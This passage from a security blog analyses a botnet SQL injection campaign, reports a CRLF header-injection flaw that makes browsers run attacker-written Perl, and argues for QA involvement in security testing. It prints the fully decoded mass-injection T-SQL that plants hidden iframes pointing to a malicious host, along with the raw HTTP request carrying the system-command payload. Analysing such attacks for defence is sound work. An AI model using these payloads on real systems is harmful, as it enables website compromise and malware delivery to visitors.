a. It selects object names from tables sysobjects (a table that contains one row for each object created within a database) and syscolumns (a table that contains one row for every column in every table and view), looking for the following condition:
WHERE A.id=B.id AND A.XTYPE='U' AND (B.XTYPE=99 OR B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167)
This means the same object id with XTYPE (identifies the type of object) using user table and using textual datatype (99= ntext, 35=text, 231= nvarchar or 167= varchar).
In other words the query finds all the user defined tables and columns.
b. It uses the collected tables and columns and updates their values with this iFrame payload:
<iframe height="0" src="http://xxxx.ru:8080/index.php?pid=13" style="display: none;" width="0"></iframe>
Step 4 - Following the Attack’s Footsteps:
When trying to access http://xxxx.ru:8080/index.php?pid=13 (I obfuscated the original site name) we find that this page is no longer accessible.
- The way the attack is being distributed.
- Attack execution flow.
- The advanced methods that are being used in todays attacks.
- SQL injection – the payload contains SQL statement keywords such as: declare, varchar(, exec(, set.
- Attack obfuscation - part of the payload is in plain text while other parts are obfuscated with SQL server function “cast()”.
- Single packet attack – one request that contains the entire SQL injection payload.
Traffic forensics:
More detailed information on the observed malicious traffic:
- More than one source – we can see that the attacks are coming from a variety of sources (different countries).
- Same payload – we can see that the same payload is being used in all the attacks.
- Not the same URL – the attack is executed on a variety of URLs in the application.
- Source country – this is often a good indication of the detection validity. In this case the list of source countries contains countries that are well-known sources of attack.
- Double encoding – in the technical explanation we will see that payload data is being obfuscated twice.
- Case sensitivity – in the technical explanation below, we will see that the payload is written in mixed upper/lower case letters.
Summary:
Items 1 to 4 give us good indication that this attack should be considered as distributed SQL injection, probably being executed by BotNet.
Items 5 and 6 show that the attack initiator knew there might be web application filters on the way to the web app, and was trying to evade attack detection by those security filters.
The same attack pattern was used by a botnet named Asprox in 2008, using a similar SQL statement, but with different infected HTML data.
Attacks are clearly becoming more and more sophisticated, aided by the internet’s unlimited resources to improve attack robustness. They are making it harder to be blocked based only on the source of the attack, and are making it more difficult to be detected without advanced payload processing capabilities (in other words, they are likely to evade security measures that do not have the capability of double decoding).
Technical explanation:
Step 1 – First Decoding
Taking the attack payload and performing first decoding (ASCII hex. I also omitted the first cast function) will give us the following payload:
declare @s varchar(4000);set @s=DECLaRe @T varchAr(255),@C vArCHaR(255) DeClaRE tABLE_cURsOR cURSor FoR selEct A.NaMe,B.NAME FrOm sYsoBjECTs a,sysCOLuMNs b wHerE a.Id=b.id and a.xType='u' and (B.XTyPE=99 or b.xtyPE=35 oR B.XtyPe=231 Or b.xtype=167) Open TABle_cuRsOR FetCH nEXT frOM TaBle_cURsOR inTO @T,@c wHiLe(@@FEtCH_sTatUs=0) BEGin exeC('UPDATE ['+@T+'] Set ['+@C+']=RtRim(ConVeRT(vArcHar(4000),['+@C+']))+CAST(0X3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E as VarcHAR(106))') feTCh neXt FrOm taBLe_CursOR iNTO @T,@C eNd close tABLe_cursOR dEaLlOCaTE tAblE_cursoR as varchar(4000));exec(@s);--
Step 2 – Second Decoding
More decoding is required here and this is how it looks after a second ASCII hex decoding (omitting the second cast function from the payload):
declare @s varchar(4000);set @s=DECLaRe @T varchAr(255),@C vArCHaR(255) DeClaRE tABLE_cURsOR cURSor FoR selEct A.NaMe,B.NAME FrOm sYsoBjECTs a,sysCOLuMNs b wHerE a.Id=b.id and a.xType='u' and (B.XTyPE=99 or b.xtyPE=35 oR B.XtyPe=231 Or b.xtype=167) Open TABle_cuRsOR FetCH nEXT frOM TaBle_cURsOR inTO @T,@c wHiLe(@@FEtCH_sTatUs=0) BEGin exeC('UPDATE ['+@T+'] Set ['+@C+']=RtRim(ConVeRT(vArcHar(4000),['+@C+']))+ <iframe height="0" src="http://xxxx.ru/tds/go.php?sid=1" style="display: none;" width="0"></iframe>as VarcHAR(106))') feTCh neXt FrOm taBLe_CursOR iNTO @T,@C eNd close tABLe_cursOR dEaLlOCaTE tAblE_cursoR as varchar(4000));exec(@s);--
Now we have the fully decoded payload and we can see that the attack target is SQL servers (using SQL Server system tables).
Step 3 - Executed SQL Statement Analysis
The SQL statement executes the following logic:
a. It selects object names from tables sysobjects (a table that contains one row for each object created within a database) and syscolumns (a table that contains one row for every column in every table and view), looking for the following condition:
WHERE A.id=B.id AND A.XTYPE='U' AND (B.XTYPE=99 OR B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167)
This means the same object id with XTYPE (identifies the type of object) using user table and using textual datatype (99= ntext, 35=text, 231= nvarchar or 167= varchar).
In other words the query finds all the user defined tables and columns.
b. It uses the collected tables and columns and updates their values with this iFrame payload:
<iframe height="0" src="http://xxxx.ru:8080/index.php?pid=13" style="display: none;" width="0"></iframe>
Step 4 - Following the Attack’s Footsteps:
When trying to access http://xxxx.ru:8080/index.php?pid=13 (I obfuscated the original site name) we find that this page is no longer accessible.
Thursday, July 1, 2010
System command reflection
While performing security testing on a web app, I found a vulnerability that reminded me of a couple of things, namely:
a) Web application threats are out there waiting for the chance to attack both web applications and end users.
b) Even though I’ve seen some pretty crazy defects/vulnerabilities in web applications, I can still be surprised from new stuff.
OK, so the first page I accessed was the login page.
While this in itself was a severe enough indication of a possible SQL injection vulnerability, it wasn’t the only issue here. The reply returned with Content-Type header containing the value “application/x-perl” and as a result the browser tried to open the web server reply as a Perl program.
And this is the reply I’m getting from the web server (the payload is reflected in its content):
Going back to the open file dialog shown above, by pressing on the “OK” button I can see the command line prompt window being opened and the Perl program running on my desktop, executing the system command “dir "C:\Documents and Settings\administrator"”. This is how it looks:
a) Web application threats are out there waiting for the chance to attack both web applications and end users.
b) Even though I’ve seen some pretty crazy defects/vulnerabilities in web applications, I can still be surprised from new stuff.
OK, so the first page I accessed was the login page.
My first attempt was to try sending incorrect user credentials; the response was an “invalid user” message (in Hebrew). So far, so good.
Next, I tried to use an out-of-the-ordinary character (Quote “) in the user password field and bingo, I got my first clue; the reply contained SQL error handling information (a funny location for standard error handling output).
HTTP/1.1 200 OK
Server: Apache/2.2.3
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “ at line 1
Content-Type: application/x-perl
Content-Length: 0
Server: Apache/2.2.3
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “ at line 1
Content-Type: application/x-perl
Content-Length: 0
While this in itself was a severe enough indication of a possible SQL injection vulnerability, it wasn’t the only issue here. The reply returned with Content-Type header containing the value “application/x-perl” and as a result the browser tried to open the web server reply as a Perl program.
OK, so the reply was considered a Perl file - what’s the big deal? Now let’s try to manipulate the notorious error handling header!
Sending a specially crafted payload in the password field with CRLF (line break) characters got me the expected results; I now have control over the reply body (meaning the reply is considered by the browser as a Perl file and I can write my own code into it)!
I sent this payload in the password field:"%0d%0a%0d%0a system('dir "C:\Documents and Settings\administrator"')# . It is supposed to execute a dir command on a client PC. Below is an example of how the raw HTTP request looked:
POST /cgi-bin/menu.pl HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Username=test&Password=test"%0d%0a%0d%0a system('dir "C:\Documents and Settings\administrator"')#
Host: www.site.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Username=test&Password=test"%0d%0a%0d%0a system('dir "C:\Documents and Settings\administrator"')#
And this is the reply I’m getting from the web server (the payload is reflected in its content):
HTTP/1.1 200 OK
Server: Apache/2.2.3
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “
Content-Type: application/x-perl
Content-Length: 0
system('dir "C:\Documents and Settings\administrator"')#"' at line 1
Server: Apache/2.2.3
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “
Content-Type: application/x-perl
Content-Length: 0
system('dir "C:\Documents and Settings\administrator"')#"' at line 1
Going back to the open file dialog shown above, by pressing on the “OK” button I can see the command line prompt window being opened and the Perl program running on my desktop, executing the system command “dir "C:\Documents and Settings\administrator"”. This is how it looks:
Now using this technique to allure a naïve user to open the file will result in something I refer to as “system command reflection”.
There’s an interesting relationship here between quality assurance and security assurance; while both will detect the same issues, the first will classify it as defect in the application and the second as security vulnerability (often the difference between the two is simply the severity of the defect/vulnerability).
This example shows that hazards are all around us making the web a dangerous place for both applications and end users alike; no doubt both (i.e. applications and users) would benefit from being more educated and more protected against the risks that surround us.
Monday, June 21, 2010
How to Improve Security Without Knowing Anything About It
There are expert penetration testers who know how to find security vulnerabilities. But their specific methodology, not to mention their relatively late involvement in the application security assurance process, is often not enough to find all the holes. Additional resources, with different skills and a more intense involvement in the development lifecycle, are required.
One way is to deliberately use personnel without a security background, such as QA engineers, for generic security testing activities; in the presentation below, shown in the Sigist 2010 conference in Tel Aviv, I suggested how it can be done by using simple QA methodologies of “verification and validation” - something that requires classic QA skills.
In conclusion incorporating QA resources in the process of security assurance will advance the ultimate goal of improving application security.
verification validation and ... security
One way is to deliberately use personnel without a security background, such as QA engineers, for generic security testing activities; in the presentation below, shown in the Sigist 2010 conference in Tel Aviv, I suggested how it can be done by using simple QA methodologies of “verification and validation” - something that requires classic QA skills.
In conclusion incorporating QA resources in the process of security assurance will advance the ultimate goal of improving application security.
verification validation and ... security
Subscribe to:
Posts (Atom)









